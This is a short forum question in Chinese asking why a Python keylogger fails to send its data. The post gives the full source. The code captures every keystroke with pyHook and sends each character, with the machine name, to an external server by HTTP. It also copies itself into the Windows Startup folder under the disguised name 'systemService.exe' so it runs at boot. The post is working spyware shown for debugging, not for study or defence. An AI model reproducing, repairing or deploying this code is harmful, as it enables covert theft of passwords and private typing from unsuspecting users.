Python 鍵盤記錄器

Python 鍵盤記錄器

我正在嘗試製作一個在啟動時自動運行的 python 鍵盤記錄器。這是Python程式碼

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys

userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName

if os.path.exists(filePath):
    if os.path.isfile(filePath+'systemService.exe')==False:
        try:
            shutil.copy2(sys.argv[0],filePath+'systemService.exe')
        except:
            pass
def OnKeyBoardEvent(event):
    try:
        params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
        conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
        conn.request("GET","/index.php?"+params)
    except:
        pass
    return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

這個鍵盤記錄器使用 php 將所有 ascii 資料記錄到程式碼中指定的伺服器。我仔細檢查了該程式是否存在於啟動目錄中並且在重新啟動後在背景運行。但仍然沒有將數據記錄到伺服器文件中。

相關內容